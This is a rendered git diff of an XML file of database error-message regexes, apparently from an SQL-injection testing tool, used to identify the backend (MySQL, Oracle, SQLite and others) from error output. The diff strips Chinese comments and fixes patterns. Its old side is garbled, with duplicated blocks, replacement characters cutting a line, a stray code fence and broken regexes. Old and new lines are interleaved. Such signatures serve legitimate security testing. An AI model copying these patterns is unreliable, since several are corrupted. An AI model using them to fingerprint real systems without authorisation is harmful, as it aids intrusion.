Compare commits

..

10 Commits

Binary file not shown.

@ -1,357 +1,240 @@
<?xml version="1.0" encoding="UTF-8"?> <!-- 声明XML文档的版本和编码方式 --> <?xml version="1.0" encoding="UTF-8"?>
<root> <!-- 定义XML文档的根元素 --> <root>
<dbms value="MySQL"> <!-- 定义MySQL数据库管理系统 --> <dbms value="MySQL">
<error regexp="SQL syntax.*?MySQL"/> <!-- 匹配MySQL语法错误的错误信息 --> <error regexp="SQL syntax.*?MySQL"/>
<error regexp="Warning.*?\Wmysqli?_"/> <!-- 匹配MySQLi扩展的警告信息 --> <error regexp="Warning.*?\Wmysqli?_"/>
<error regexp="MySQLSyntaxErrorException"/> <!-- 匹配MySQL语法异常的错误信息 --> <error regexp="MySQLSyntaxErrorException"/>
<error regexp="valid MySQL result"/> <!-- 匹配无效的MySQL查询结果的错误信息 --> <error regexp="valid MySQL result"/>
<error regexp="check the manual that (corresponds to|fits) your MySQL server version"/> <!-- 匹配与MySQL服务器版本不匹配的错误信息 --> <error regexp="check the manual that (corresponds to|fits) your MySQL server version"/>
<error regexp="check the manual that (corresponds to|fits) your MariaDB server version" fork="MariaDB"/> <!-- 匹配与MariaDB服务器版本不匹配的错误信息 --> <error regexp="check the manual that (corresponds to|fits) your MariaDB server version" fork="MariaDB"/>
<error regexp="check the manual that (corresponds to|fits) your Drizzle server version" fork="Drizzle"/> <!-- 匹配与Drizzle服务器版本不匹配的错误信息 --> <error regexp="check the manual that (corresponds to|fits) your Drizzle server version" fork="Drizzle"/>
<error regexp="Unknown column '[^ ]+' in 'field list'"/> <!-- 匹配未知列名的错误信息 --> <error regexp="Unknown column '[^ ]+' in 'field list'"/>
<error regexp="MySqlClient\."/> <!-- 匹配MySqlClient相关的错误信息 --> <error regexp="MySqlClient\."/>
<error regexp="com\.mysql\.jdbc"/> <!-- 匹配MySQL JDBC驱动的错误信息 --> <error regexp="com\.mysql\.jdbc"/>
<error regexp="Zend_Db_(Adapter|Statement)_Mysqli_Exception"/> <!-- 匹配Zend框架中MySQLi相关的异常信息 --> <error regexp="Zend_Db_(Adapter|Statement)_Mysqli_Exception"/>
<error regexp="Pdo[./_\\]Mysql"/> <!-- 匹配PDO MySQL驱动的错误信息 --> <error regexp="Pdo[./_\\]Mysql"/>
<error regexp="MySqlException"/> <!-- 匹配MySQL异常的错误信息 --> <error regexp="MySqlException"/>
<error regexp="SQLSTATE$\d+$: Syntax error or access violation"/> <!-- 匹配SQL语法错误或访问违规的错误信息 --> <error regexp="SQLSTATE\[\d+\]: Syntax error or access violation"/>
<error regexp="MemSQL does not support this type of query" fork="MemSQL"/> <!-- 匹配MemSQL不支持的查询类型的错误信息 --> <error regexp="MemSQL does not support this type of query" fork="MemSQL"/>
<error regexp="is not supported by MemSQL" fork="MemSQL"/> <!-- 匹配MemSQL不支持的查询类型的错误信息 --> <error regexp="is not supported by MemSQL" fork="MemSQL"/>
<error regexp="unsupported nested scalar subselect" fork="MemSQL"/> <!-- 匹配MemSQL不支持的嵌套标量子查询的错误信息 --> <error regexp="unsupported nested scalar subselect" fork="MemSQL"/>
</dbms> </dbms>
<dbms value="PostgreSQL"> <!-- 定义PostgreSQL数据库管理系统 --> <dbms value="PostgreSQL">
<error regexp="PostgreSQL.*?ERROR"/> <!-- 匹配PostgreSQL错误信息 --> <error regexp="PostgreSQL.*?ERROR"/>
<error regexp="Warning.*?\Wpg_"/> <!-- 匹配PostgreSQL扩展的警告信息 --> <error regexp="Warning.*?\Wpg_"/>
<error regexp="valid PostgreSQL result"/> <!-- 匹配无效的PostgreSQL查询结果的错误信息 --> <error regexp="valid PostgreSQL result"/>
<error regexp="Npgsql\."/> <!-- 匹配Npgsql驱动的错误信息 --> <error regexp="Npgsql\."/>
<error regexp="PG::SyntaxError:"/> <!-- 匹配PostgreSQL语法错误信息 --> <error regexp="PG::SyntaxError:"/>
<error regexp="org\.postgresql\.util\.PSQLException"/> <!-- 匹配PostgreSQL JDBC驱动的异常信息 --> <error regexp="org\.postgresql\.util\.PSQLException"/>
<error regexp="ERROR:\s\ssyntax error at or near"/> <!-- 匹配PostgreSQL语法错误信息 --> <error regexp="ERROR:\s\ssyntax error at or near"/>
<error regexp="ERROR: parser: parse error at or near"/> <!-- 匹配PostgreSQL解析错误信息 --> <error regexp="ERROR: parser: parse error at or near"/>
<error regexp="PostgreSQL query failed"/> <!-- 匹配PostgreSQL查询失败的错误信息 --> <error regexp="PostgreSQL query failed"/>
<error regexp="org\.postgresql\.jdbc"/> <!-- 匹配PostgreSQL JDBC驱动的错误信息 --> <error regexp="org\.postgresql\.jdbc"/>
<error regexp="Pdo[./_\\]Pgsql"/> <!-- 匹配PDO PostgreSQL驱动的错误信息 --> <error regexp="Pdo[./_\\]Pgsql"/>
<error regexp="PSQLException"/> <!-- 匹配PostgreSQL异常的错误信息 --> <error regexp="PSQLException"/>
</dbms> </dbms>
<dbms value="Microsoft SQL Server"> <!-- 定义Microsoft SQL Server数据库管理系统 --> <dbms value="Microsoft SQL Server">
<error regexp="Driver.*? SQL[\-\_\ ]*Server"/> <!-- 匹配SQL Server驱动的错误信息 --> <error regexp="Driver.*? SQL[\-\_\ ]*Server"/>
<error regexp="OLE DB.*? SQL Server"/> <!-- 匹配OLE DB SQL Server驱动的错误信息 --> <error regexp="OLE DB.*? SQL Server"/>
<error regexp="\bSQL Server[^&lt;&quot;]+Driver"/> <!-- 匹配SQL Server驱动的错误信息 --> <error regexp="\bSQL Server[^&lt;&quot;]+Driver"/>
<error regexp="Warning.*?\W(mssql|sqlsrv)_"/> <!-- 匹配SQL Server扩展的警告信息 --> <error regexp="Warning.*?\W(mssql|sqlsrv)_"/>
<error regexp="\bSQL Server[^&lt;&quot;]+[0-9a-fA-F]{8}"/> <!-- 匹配SQL Server驱动的错误信息 --> <error regexp="\bSQL Server[^&lt;&quot;]+[0-9a-fA-F]{8}"/>
<error regexp="System\.Data\.SqlClient\.(SqlException|SqlConnection\.OnError)"/> <!-- 匹配SQL Server .NET驱动的异常信息 --> <error regexp="System\.Data\.SqlClient\.(SqlException|SqlConnection\.OnError)"/>
<error regexp="(?s)Exception.*?\bRoadhouse\.Cms\."/> <!-- 匹配Roadhouse CMS相关的异常信息 --> <error regexp="(?s)Exception.*?\bRoadhouse\.Cms\."/>
<error regexp="Microsoft SQL Native Client error '[0-9a-fA-F]{8}"/> <!-- 匹配SQL Server Native Client的错误信息 --> <error regexp="Microsoft SQL Native Client error '[0-9a-fA-F]{8}"/>
<error regexp="$SQL Server$"/> <!-- 匹配SQL Server的错误信息 --> <error regexp="\[SQL Server\]"/>
<error regexp="ODBC SQL Server Driver"/> <!-- 匹配ODBC SQL Server驱动的错误信息 --> <error regexp="ODBC SQL Server Driver"/>
<error regexp="ODBC Driver \d+ for SQL Server"/> <!-- 匹配ODBC SQL Server驱动的错误信息 --> <error regexp="ODBC Driver \d+ for SQL Server"/>
<error regexp="SQLServer JDBC Driver"/> <!-- 匹配SQL Server JDBC驱动的错误信息 --> <error regexp="SQLServer JDBC Driver"/>
<error regexp="com\.jnetdirect\.jsql"/> <!-- 匹配JNetDirect SQL Server驱动的错误信息 --> <error regexp="com\.jnetdirect\.jsql"/>
<error regexp="macromedia\.jdbc\.sqlserver"/> <!-- 匹配Macromedia SQL Server驱动的错误信息 --> <error regexp="macromedia\.jdbc\.sqlserver"/>
<error regexp="Zend_Db_(Adapter|Statement)_Sqlsrv_Exception"/> <!-- 匹配Zend框架中SQL Server相关的异常信息 --> <error regexp="Zend_Db_(Adapter|Statement)_Sqlsrv_Exception"/>
<error regexp="com\.microsoft\.sqlserver\.jdbc"/> <!-- 匹配Microsoft SQL Server JDBC驱动的错误信息 --> <error regexp="com\.microsoft\.sqlserver\.jdbc"/>
<error regexp="Pdo[./_\\](Mssql|SqlSrv)"/> <!-- 匹配PDO SQL Server驱动的错误信息 --> <error regexp="Pdo[./_\\](Mssql|SqlSrv)"/>
<error regexp="SQL(Srv|Server)Exception"/> <!-- 匹配SQL Server异常的错误信息 --> <error regexp="SQL(Srv|Server)Exception"/>
<error regexp="Unclosed quotation mark after the character string"/> <!-- 匹配未闭合的引号的错误信息 --> <error regexp="Unclosed quotation mark after the character string"/>
</dbms> </dbms>
<?xml version="1.0" encoding="UTF-8"?> <!-- 声明XML文档的版本为1.0编码方式为UTF-8 --> <dbms value="Microsoft Access">
<error regexp="Microsoft Access (\d+ )?Driver"/>
<root> <!-- 定义XML文档的根元素所有内容都包含在此标签内 --> <error regexp="JET Database Engine"/>
<dbms value="MySQL"> <!-- 定义MySQL数据库管理系统value属性指定数据库类型为MySQL --> <error regexp="Access Database Engine"/>
<error regexp="SQL syntax.*?MySQL"/> <!-- 匹配包含“SQL syntax”和“MySQL”的错误信息用于识别MySQL语法错误 --> <error regexp="ODBC Microsoft Access"/>
<error regexp="Warning.*?\Wmysqli?_"/> <!-- 匹配包含“Warning”和“mysqli”或“mysql”的警告信息用于识别MySQL扩展的警告 --> <error regexp="Syntax error \(missing operator\) in query expression"/>
<error regexp="MySQLSyntaxErrorException"/> <!-- 匹配MySQL语法异常的错误信息用于识别MySQL语法错误 --> </dbms>
<error regexp="valid MySQL result"/> <!-- 匹配无效的MySQL查询结果的错误信息用于识别查询结果无效的情况 -->
<error regexp="check the manual that (corresponds to|fits) your MySQL server version"/> <!-- 匹配与MySQL服务器版本不匹配的错误信息提示用户检查手册 --> <dbms value="Oracle">
<error regexp="check the manual that (corresponds to|fits) your MariaDB server version" fork="MariaDB"/> <!-- 匹配与MariaDB服务器版本不匹配的错误信息fork属性指定为MariaDB --> <error regexp="\bORA-\d{5}"/>
<error regexp="check the manual that (corresponds to|fits) your Drizzle server version" fork="Drizzle"/> <!-- 匹配与Drizzle服务器版本不匹配的错误信息fork属性指定为Drizzle --> <error regexp="Oracle error"/>
<error regexp="Unknown column '[^ ]+' in 'field list'"/> <!-- 匹配未知列名的错误信息,用于识别字段列表中不存在的列 --> <error regexp="Oracle.*?Driver"/>
<error regexp="MySqlClient\."/> <!-- 匹配MySqlClient相关的错误信息用于识别MySqlClient驱动的错误 --> <error regexp="Warning.*?\W(oci|ora)_"/>
<error regexp="com\.mysql\.jdbc"/> <!-- 匹配MySQL JDBC驱动的错误信息用于识别JDBC相关的错误 --> <error regexp="quoted string not properly terminated"/>
<error regexp="Zend_Db_(Adapter|Statement)_Mysqli_Exception"/> <!-- 匹配Zend框架中MySQLi相关的异常信息用于识别Zend框架中的MySQLi错误 --> <error regexp="SQL command not properly ended"/>
<error regexp="Pdo[./_\\]Mysql"/> <!-- 匹配PDO MySQL驱动的错误信息用于识别PDO驱动的错误 --> <error regexp="macromedia\.jdbc\.oracle"/>
<error regexp="MySqlException"/> <!-- 匹配MySQL异常的错误信息用于识别MySQL相关的异常 --> <error regexp="oracle\.jdbc"/>
<error regexp="SQLSTATE$\d+$: Syntax error or access violation"/> <!-- 匹配SQL语法错误或访问违规的错误信息用于识别SQLSTATE错误 --> <error regexp="Zend_Db_(Adapter|Statement)_Oracle_Exception"/>
<error regexp="MemSQL does not support this type of query" fork="MemSQL"/> <!-- 匹配MemSQL不支持的查询类型的错误信息fork属性指定为MemSQL --> <error regexp="Pdo[./_\\](Oracle|OCI)"/>
<error regexp="is not supported by MemSQL" fork="MemSQL"/> <!-- 匹配MemSQL不支持的查询类型的错误信息fork属性指定为MemSQL --> <error regexp="OracleException"/>
<error regexp="unsupported nested scalar subselect" fork="MemSQL"/> <!-- 匹配MemSQL不支持的嵌套标量子查询的错误信息fork属性指定为MemSQL --> </dbms>
</dbms>
<dbms value="IBM DB2">
<dbms value="PostgreSQL"> <!-- 定义PostgreSQL数据库管理系统value属性指定数据库类型为PostgreSQL --> <error regexp="CLI Driver.*?DB2"/>
<error regexp="PostgreSQL.*?ERROR"/> <!-- 匹配包含“PostgreSQL”和“ERROR”的错误信息用于识别PostgreSQL错误 --> <error regexp="DB2 SQL error"/>
<error regexp="Warning.*?\Wpg_"/> <!-- 匹配包含“Warning”和“pg_”的警告信息用于识别PostgreSQL扩展的警告 --> <error regexp="\bdb2_\w+\("/>
<error regexp="valid PostgreSQL result"/> <!-- 匹配无效的PostgreSQL查询结果的错误信息用于识别查询结果无效的情况 --> <error regexp="SQLCODE[=:\d, -]+SQLSTATE"/>
<error regexp="Npgsql\."/> <!-- 匹配Npgsql驱动的错误信息用于识别Npgsql驱动的错误 --> <error regexp="com\.ibm\.db2\.jcc"/>
<error regexp="PG::SyntaxError:"/> <!-- 匹配PostgreSQL语法错误信息用于识别语法错误 --> <error regexp="Zend_Db_(Adapter|Statement)_Db2_Exception"/>
<error regexp="org\.postgresql\.util\.PSQLException"/> <!-- 匹配PostgreSQL JDBC驱动的异常信息用于识别JDBC相关的错误 --> <error regexp="Pdo[./_\\]Ibm"/>
<error regexp="ERROR:\s\ssyntax error at or near"/> <!-- 匹配PostgreSQL语法错误信息用于识别语法错误 --> <error regexp="DB2Exception"/>
<error regexp="ERROR: parser: parse error at or near"/> <!-- 匹配PostgreSQL解析错误信息用于识别解析错误 --> <error regexp="ibm_db_dbi\.ProgrammingError"/>
<error regexp="PostgreSQL query failed"/> <!-- 匹配PostgreSQL查询失败的错误信息用于识别查询失败的情况 --> </dbms>
<error regexp="org\.postgresql\.jdbc"/> <!-- 匹配PostgreSQL JDBC驱动的错误信息用于识别JDBC相关的错误 -->
<error regexp="Pdo[./_\\]Pgsql"/> <!-- 匹配PDO PostgreSQL驱动的错误信息用于识别PDO驱动的错误 --> <dbms value="Informix">
<error regexp="PSQLException"/> <!-- 匹配PostgreSQL异常的错误信息用于识别PostgreSQL相关的异常 --> <error regexp="Warning.*?\Wifx_"/>
</dbms> <error regexp="Exception.*?Informix"/>
<error regexp="Informix ODBC Driver"/>
<dbms value="Microsoft SQL Server"> <!-- 定义Microsoft SQL Server数据库管理系统value属性指定数据库类型为SQL Server --> <error regexp="ODBC Informix driver"/>
<error regexp="Driver.*? SQL[\-\_\ ]*Server"/> <!-- 匹配包含“Driver”和“SQL Server”的错误信息用于识别SQL Server驱动的错误 --> <error regexp="com\.informix\.jdbc"/>
<error regexp="OLE DB.*? SQL Server"/> <!-- 匹配包含“OLE DB”和“SQL Server”的错误信息用于识别OLE DB驱动的错误 --> <error regexp="weblogic\.jdbc\.informix"/>
<error regexp="\bSQL Server[^&lt;&quot;]+Driver"/> <!-- 匹配SQL Server驱动的错误信息用于识别驱动相关的错误 --> <error regexp="Pdo[./_\\]Informix"/>
<error regexp="Warning.*?\W(mssql|sqlsrv)_"/> <!-- 匹配包含“Warning”和“mssql”或“sqlsrv”的警告信息用于识别SQL Server扩展的警告 --> <error regexp="IfxException"/>
<error regexp="\bSQL Server[^&lt;&quot;]+[0-9a-fA-F]{8}"/> <!-- 匹配SQL Server驱动的错误信息用于识别驱动相关的错误 -->
<error regexp="System\.Data\.SqlClient\.(SqlException|SqlConnection\.OnError)"/> <!-- 匹配SQL Server .NET驱动的异常信息用于识别.NET驱动的错误 -->
<error regexp="(?s)Exception.*?\bRoadhouse\.Cms\."/> <!-- 匹配Roadhouse CMS相关的异常信息用于识别CMS相关的错误 -->
<error regexp="Microsoft SQL Native Client error '[0-9a-fA-F]{8}"/> <!-- 匹配SQL Server Native Client的错误信息用于识别Native Client的错误 -->
<error regexp="$SQL Server$"/> <!-- 匹配SQL Server的错误信息用于识别SQL Server相关的错误 -->
<error regexp="ODBC SQL Server Driver"/> <!-- 匹配ODBC SQL Server驱动的错误信息用于识别ODBC驱动的错误 -->
<error regexp="ODBC Driver \d+ for SQL Server"/> <!-- 匹配ODBC SQL Server驱动的错误信息用于识别ODBC驱动的错误 -->
<error regexp="SQLServer JDBC Driver"/> <!-- 匹配SQL Server JDBC驱动的错误信息用于识别JDBC驱动的错误 -->
<error regexp="com\.jnetdirect\.jsql"/> <!-- 匹配JNetDirect SQL Server驱动的错误信息用于识别JNetDirect驱动的错误 -->
<error regexp="macromedia\.jdbc\.sqlserver"/> <!-- 匹配Macromedia SQL Server驱动的错误信息用于识别Macromedia驱动的错误 -->
<error regexp="Zend_Db_(Adapter|Statement)_Sqlsrv_Exception"/> <!-- 匹配Zend框架中SQL Server相关的异常信息用于识别Zend框架中的SQL Server错误 -->
<error regexp="com\.microsoft\.sqlserver\.jdbc"/> <!-- 匹配Microsoft SQL Server JDBC驱动的错误信息用于识别JDBC驱动的错误 -->
<error regexp="Pdo[./_\\](Mssql|SqlSrv)"/> <!-- 匹配PDO SQL Server驱动的错误信息用于识别PDO驱动的错误 -->
<error regexp="SQL(Srv|Server)<29><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
```xml
<root> <!-- 定义XML文档的根元素 -->
<dbms value="Microsoft Access"> <!-- 定义Microsoft Access数据库管理系统 -->
<error regexp="Microsoft Access (\d+ )?Driver"/> <!-- 匹配Microsoft Access驱动的错误信息 -->
<error regexp="JET Database Engine"/> <!-- 匹配JET数据库引擎的错误信息 -->
<error regexp="Access Database Engine"/> <!-- 匹配Access数据库引擎的错误信息 -->
<error regexp="ODBC Microsoft Access"/> <!-- 匹配ODBC Microsoft Access驱动的错误信息 -->
<error regexp="Syntax error $missing operator$ in query expression"/> <!-- 匹配查询表达式中的缺失操作符的语法错误 -->
</dbms>
<dbms value="Oracle"> <!-- 定义Oracle数据库管理系统 -->
<error regexp="\bORA-\d{5}"/> <!-- 匹配ORA错误代码后跟五位数字 -->
<error regexp="Oracle error"/> <!-- 匹配通用的Oracle错误信息 -->
<error regexp="Oracle.*?Driver"/> <!-- 匹配与Oracle相关的驱动错误信息 -->
<error regexp="Warning.*?\W(oci|ora)_"/> <!-- 匹配OCI或ORA相关的警告信息 -->
<error regexp="quoted string not properly terminated"/> <!-- 匹配未正确终止的引号字符串的错误信息 -->
<error regexp="SQL command not properly ended"/> <!-- 匹配未正确结束的SQL命令错误信息 -->
<error regexp="macromedia\.jdbc\.oracle"/> <!-- 匹配Macromedia Oracle JDBC驱动的错误信息 -->
<error regexp="oracle\.jdbc"/> <!-- 匹配Oracle JDBC驱动的错误信息 -->
<error regexp="Zend_Db_(Adapter|Statement)_Oracle_Exception"/> <!-- 匹配Zend框架中Oracle相关的异常信息 -->
<error regexp="Pdo[./_\\](Oracle|OCI)"/> <!-- 匹配PDO Oracle或OCI驱动的错误信息 -->
<error regexp="OracleException"/> <!-- 匹配Oracle异常的错误信息 -->
</dbms>
<dbms value="IBM DB2"> <!-- 定义IBM DB2数据库管理系统 -->
<error regexp="CLI Driver.*?DB2"/> <!-- 匹配DB2 CLI驱动的错误信息 -->
<error regexp="DB2 SQL error"/> <!-- 匹配DB2 SQL错误的通用错误信息 -->
<error regexp="\bdb2_\w+\(}/> <!-- 匹配DB2相关函数调用的错误信息 -->
<error regexp="SQLCODE[=:\d, -]+SQLSTATE"/> <!-- 匹配包含SQLCODE和SQLSTATE的错误信息 -->
<error regexp="com\.ibm\.db2\.jcc"/> <!-- 匹配IBM DB2 JCC驱动的错误信息 -->
<error regexp="Zend_Db_(Adapter|Statement)_Db2_Exception"/> <!-- 匹配Zend框架中DB2相关的异常信息 -->
<error regexp="Pdo[./_\\]Ibm"/> <!-- 匹配PDO IBM DB2驱动的错误信息 -->
<error regexp="DB2Exception"/> <!-- 匹配DB2异常的错误信息 -->
<error regexp="ibm_db_dbi\.ProgrammingError"/> <!-- 匹配ibm_db_dbi中的编程错误信息 -->
</dbms>
<dbms value="Informix"> <!-- 定义Informix数据库管理系统 -->
<error regexp="Warning.*?\Wifx_"/> <!-- 匹配Informix扩展相关的警告信息 -->
<error regexp="Exception.*?Informix"/> <!-- 匹配Informix相关的异常信息 -->
<error regexp="Informix ODBC Driver"/> <!-- 匹配Informix ODBC驱动的错误信息 -->
<error regexp="ODBC Informix driver"/> <!-- 匹配ODBC Informix驱动的错误信息 -->
<error regexp="com\.informix\.jdbc"/> <!-- 匹配Informix JDBC驱动的错误信息 -->
<error regexp="weblogic\.jdbc\.informix"/> <!-- 匹配WebLogic中Informix JDBC驱动的错误信息 -->
<error regexp="Pdo[./_\\]Informix"/> <!-- 匹配PDO Informix驱动的错误信息 -->
<error regexp="IfxException"/> <!-- 匹配Informix异常的错误信息 -->
</dbms> </dbms>
<!-- Interbase/Firebird --> <!-- Interbase/Firebird -->
<dbms value="Firebird"> <!-- 定义Firebird数据库管理系统 --> <dbms value="Firebird">
<error regexp="Dynamic SQL Error"/> <!-- 匹配动态SQL错误信息 --> <error regexp="Dynamic SQL Error"/>
<error regexp="Warning.*?\Wibase_"/> <!-- 匹配Firebird扩展相关的警告信息 --> <error regexp="Warning.*?\Wibase_"/>
<error regexp="org\.firebirdsql\.jdbc"/> <!-- 匹配Firebird SQL JDBC驱动的错误信息 --> <error regexp="org\.firebirdsql\.jdbc"/>
<error regexp="Pdo[./_\\]Firebird"/> <!-- 匹配PDO Firebird驱动的错误信息 --> <error regexp="Pdo[./_\\]Firebird"/>
</dbms> </dbms>
<dbms value="SQLite"> <!-- 定义SQLite数据库管理系统 --> <dbms value="SQLite">
<error regexp="SQLite/JDBCDriver"/> <!-- 匹配SQLite JDBC驱动的错误信息 --> <error regexp="SQLite/JDBCDriver"/>
<error regexp="SQLite\.Exception"/> <!-- 匹配SQLite异常的错误信息 --> <error regexp="SQLite\.Exception"/>
<error regexp="(Microsoft|System)\.Data\.SQLite\.SQLiteException"/> <!-- 匹配Microsoft或System Data的SQLite异常信息 --> <error regexp="(Microsoft|System)\.Data\.SQLite\.SQLiteException"/>
<error regexp="Warning.*?\W(sqlite_|SQLite3::)"/> <!-- 匹配SQLite或SQLite3相关的警告信息 --> <error regexp="Warning.*?\W(sqlite_|SQLite3::)"/>
<error regexp="$SQLITE_ERROR$"/> <!-- 匹配SQLite错误信息 --> <error regexp="\[SQLITE_ERROR\]"/>
<error regexp="SQLite error \d+:"/> <!-- 匹配SQLite错误代码的信息 --> <error regexp="SQLite error \d+:"/>
<error regexp="sqlite3.OperationalError:"/> <!-- 匹配SQLite3操作错误的信息 --> <error regexp="sqlite3.OperationalError:"/>
<error regexp="SQLite3::SQLException"/> <!-- 匹配SQLite3 SQL异常的信息 --> <error regexp="SQLite3::SQLException"/>
<error regexp="org\.sqlite\.JDBC"/> <!-- 匹配SQLite JDBC驱动的错误信息 --> <error regexp="org\.sqlite\.JDBC"/>
<error regexp="Pdo[./_\\]Sqlite"/> <!-- 匹配PDO SQLite驱动的错误信息 --> <error regexp="Pdo[./_\\]Sqlite"/>
<error regexp="SQLiteException"/> <!-- 匹配SQLite异常的错误信息 --> <error regexp="SQLiteException"/>
</dbms> </dbms>
<dbms value="SAP MaxDB"> <!-- 定义SAP MaxDB数据库管理系统 --> <dbms value="SAP MaxDB">
<error regexp="SQL error.*?POS([0-9]+)"/> <!-- 匹配SAP MaxDB SQL错误的信息其中包括位置编号 --> <error regexp="SQL error.*?POS([0-9]+)"/>
<error regexp="Warning.*?\Wmaxdb_"/> <!-- 匹配MaxDB扩展相关的警告信息 --> <error regexp="Warning.*?\Wmaxdb_"/>
<error regexp="DriverSapDB"/> <!-- 匹配SapDB驱动的错误信息 --> <error regexp="DriverSapDB"/>
<error regexp="-3014.*?Invalid end of SQL statement"/> <!-- 匹配无效的SQL语句结束的错误信息 --> <error regexp="-3014.*?Invalid end of SQL statement"/>
<error regexp="com\.sap\.dbtech\.jdbc"/> <!-- 匹配SAP DBTech JDBC驱动的错误信息 --> <error regexp="com\.sap\.dbtech\.jdbc"/>
<error regexp="$-3008$.*?: Invalid keyword or missing delimiter"/> <!-- 匹配无效关键字或缺失分隔符的错误信息 --> <error regexp="\[-3008\].*?: Invalid keyword or missing delimiter"/>
</dbms> </dbms>
<dbms value="Sybase"> <!-- 定义Sybase数据库管理系统 --> <dbms value="Sybase">
<error regexp="Warning.*?\Wsybase_"/> <!-- 匹配Sybase扩展相关的警告信息 --> <error regexp="Warning.*?\Wsybase_"/>
<error regexp="Sybase message"/> <!-- 匹配Sybase消息的错误信息 --> <error regexp="Sybase message"/>
<error regexp="Sybase.*?Server message"/> <!-- 匹配Sybase服务器消息的错误信息 --> <error regexp="Sybase.*?Server message"/>
<error regexp="SybSQLException"/> <!-- 匹配Sybase异常的错误信息 --> <error regexp="SybSQLException"/>
<error regexp="Sybase\.Data\.AseClient"/> <!-- 匹配Sybase .NET AseClient的错误信息 --> <error regexp="Sybase\.Data\.AseClient"/>
<error regexp="com\.sybase\.jdbc"/> <!-- 匹配Sybase JDBC驱动的错误信息 --> <error regexp="com\.sybase\.jdbc"/>
</dbms> </dbms>
<dbms value="Ingres"> <!-- 定义Ingres数据库管理系统 --> <dbms value="Ingres">
<error regexp="Warning.*?\Wingres_"/> <!-- 匹配Ingres扩展相关的警告信息 --> <error regexp="Warning.*?\Wingres_"/>
<error regexp="Ingres SQLSTATE"/> <!-- 匹配Ingres SQLSTATE错误的信息 --> <error regexp="Ingres SQLSTATE"/>
<error regexp="Ingres\W.*?Driver"/> <!-- 匹配Ingres驱动的错误信息 --> <error regexp="Ingres\W.*?Driver"/>
<error regexp="com\.ingres\.gcf\.jdbc"/> <!-- 匹配Ingres GCF JDBC驱动的错误信息 --> <error regexp="com\.ingres\.gcf\.jdbc"/>
</dbms> </dbms>
<dbms value="FrontBase"> <!-- 定义FrontBase数据库管理系统 --> <dbms value="FrontBase">
<error regexp="Exception (condition )?\d+\. Transaction rollback"/> <!-- 匹配回滚事务的异常信息 --> <error regexp="Exception (condition )?\d+\. Transaction rollback"/>
<error regexp="com\.frontbase\.jdbc"/> <!-- 匹配FrontBase JDBC驱动的错误信息 --> <error regexp="com\.frontbase\.jdbc"/>
<error regexp="Syntax error 1. Missing"/> <!-- 匹配语法错误的信息,缺失某部分内容 --> <error regexp="Syntax error 1. Missing"/>
<error regexp="(Semantic|Syntax) error [1-4]\d{2}\."/> <!-- 匹配语义或语法错误,后跟一个特定的错误码 --> <error regexp="(Semantic|Syntax) error [1-4]\d{2}\."/>
</dbms> </dbms>
<dbms value="HSQLDB"> <!-- 定义HSQLDB数据库管理系统 --> <dbms value="HSQLDB">
<error regexp="Unexpected end of command in statement $"/> <!-- 匹配SQL语句意外结束的错误信息 --> <error regexp="Unexpected end of command in statement \["/>
<error regexp="Unexpected token.*?in statement \["/> <!-- 匹配SQL语句中意外标记的错误信息 --> <error regexp="Unexpected token.*?in statement \["/>
<error regexp="org\.hsqldb\.jdbc"/> <!-- 匹配HSQLDB JDBC驱动的错误信息 --> <error regexp="org\.hsqldb\.jdbc"/>
</dbms> </dbms>
<dbms value="H2"> <!-- 定义H2数据库管理系统 --> <dbms value="H2">
<error regexp="org\.h2\.jdbc"/> <!-- 匹配H2 JDBC驱动的错误信息 --> <error regexp="org\.h2\.jdbc"/>
<error regexp="\[42000-192$"/> <!-- 匹配H2特定错误代码的信息 --> <error regexp="\[42000-192\]"/>
</dbms> </dbms>
<dbms value="MonetDB"> <!-- 定义MonetDB数据库管理系统 --> <dbms value="MonetDB">
<error regexp="![0-9]{5}![^\n]+(failed|unexpected|error|syntax|expected|violation|exception)"/> <!-- 匹配包含MonetDB特定错误前缀的错误信息 --> <error regexp="![0-9]{5}![^\n]+(failed|unexpected|error|syntax|expected|violation|exception)"/>
<error regexp="$MonetDB$\[ODBC Driver"/> <!-- 匹配MonetDB ODBC驱动的错误信息 --> <error regexp="\[MonetDB\]\[ODBC Driver"/>
<error regexp="nl\.cwi\.monetdb\.jdbc"/> <!-- 匹配MonetDB JDBC驱动的错误信息 --> <error regexp="nl\.cwi\.monetdb\.jdbc"/>
</dbms> </dbms>
</root>
<?xml version="1.0" encoding="UTF-8"?> <!-- 声明XML文档的版本为1.0编码使用UTF-8 --> <dbms value="Apache Derby">
<error regexp="Syntax error: Encountered"/>
<root> <!-- 根元素,包含所有其他元素 --> <error regexp="org\.apache\.derby"/>
<dbms value="Microsoft Access"> <!-- 定义数据库管理系统为Microsoft Access --> <error regexp="ERROR 42X01"/>
<error regexp="Microsoft Access (\d+ )?Driver"/> <!-- 匹配包含"Microsoft Access"和"Driver"的错误信息,支持可选的版本号 -->
<error regexp="JET Database Engine"/> <!-- 匹配JET数据库引擎的错误信息 -->
<error regexp="Access Database Engine"/> <!-- 匹配Access数据库引擎的错误信息 -->
<error regexp="ODBC Microsoft Access"/> <!-- 匹配ODBC与Microsoft Access相关的错误信息 -->
<error regexp="Syntax error $missing operator$ in query expression"/> <!-- 匹配查询表达式中缺失操作符的语法错误 -->
</dbms>
<dbms value="Oracle"> <!-- 定义数据库管理系统为Oracle -->
<error regexp="\bORA-\d{5}"/> <!-- 匹配ORA错误代码后跟五位数字 -->
<error regexp="Oracle error"/> <!-- 匹配通用的Oracle错误信息 -->
<error regexp="Oracle.*?Driver"/> <!-- 匹配与Oracle驱动相关的错误信息 -->
<error regexp="Warning.*?\W(oci|ora)_"/> <!-- 匹配OCI或ORA相关的警告信息 -->
<error regexp="quoted string not properly terminated"/> <!-- 匹配未正确结束的引用字符串的错误信息 -->
<error regexp="SQL command not properly ended"/> <!-- 匹配SQL命令未正确结束的错误信息 -->
<error regexp="macromedia\.jdbc\.oracle"/> <!-- 匹配Macromedia的Oracle JDBC驱动的错误信息 -->
<error regexp="oracle\.jdbc"/> <!-- 匹配Oracle JDBC驱动的错误信息 -->
<error regexp="Zend_Db_(Adapter|Statement)_Oracle_Exception"/> <!-- 匹配Zend框架中Oracle相关的异常信息 -->
<error regexp="Pdo[./_\\](Oracle|OCI)"/> <!-- 匹配PDO的Oracle或OCI驱动的错误信息 -->
<error regexp="OracleException"/> <!-- 匹配Oracle异常的错误信息 -->
</dbms> </dbms>
<dbms value="IBM DB2"> <!-- 定义数据库管理系统为IBM DB2 --> <dbms value="Vertica">
